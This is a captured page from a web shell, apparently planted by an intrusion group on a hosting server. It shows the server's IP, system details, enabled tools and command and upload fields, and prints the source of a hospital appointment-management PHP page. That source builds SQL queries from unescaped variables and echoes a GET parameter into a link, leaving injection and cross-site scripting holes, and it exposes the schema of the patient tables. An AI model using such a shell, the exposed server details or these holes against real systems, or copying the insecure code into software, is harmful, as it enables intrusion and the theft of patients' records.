Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.144.98.21
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/apbook.php
<?php
session_start();
include("dbconnection.php");
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Hospital Dashboard</title>
 	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  </head>
  <body>
           	<h3><i class="fa fa-angle-right"></i> Manage Appointment </h3>
          
  </head>
    <div id="container">
 <table border="1">
      <tbody>
                  <tr>
          <th>Appointment Details </th>
          <th>Patient Details</th>
             <th>Status</th>
           <th>Action</div></th>
           
        </tr>
        </tbody>
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		$sql1 ="SELECT * FROM bookap WHERE adminid='$rs[entered_by]' AND statusva!=''";
		$qsql1 = mysqli_query($con,$sql1);
		while($rspatient = mysqli_fetch_array($qsql1))
	{
	    $sql12 ="SELECT * FROM patient WHERE patientid='$rspatient[patientid]'";
		$qsql12 = mysqli_query($con,$sql12);
		while($rspatient12 = mysqli_fetch_array($qsql12))
	{
         echo " <tbody>
            <tr>
               <td><b>Appointment Date </b><br>
               $rspatient[selectdate]<br><b>Appointment Time</b><br>$rspatient[SelectTime]<br><b>Type of Appointment</b><br>$rspatient[VisitConsultant]</td>
                 <td><b>UHID</b>$rspatient[patientid]<br>
                 <b>Patient Name</b><br>$rspatient12[patientname]</td>
                 <td>$rspatient[statusva]</td>
                					<td><a href='update_appoiment.php?srno=$rspatient[srno]' >View</td>
                					       
          </tr>                   
          
          ";
}
}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
      </div>
<?php
if(isset($_SESSION[doctorid]))
{
?>  
<hr>
	<table>
		<tr>
			<td>
			<div align="center"><strong><a href="prescription.php?patientid=<?php echo $_GET[patientid]; ?>&appid=<?php echo $rsappointment[appointmentid]; ?>">Add Prescription records</a></strong></div>
			</td>
		</tr>
	</table>
	<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<?php
}
?>

Anon7 - 2022
AnonSec Team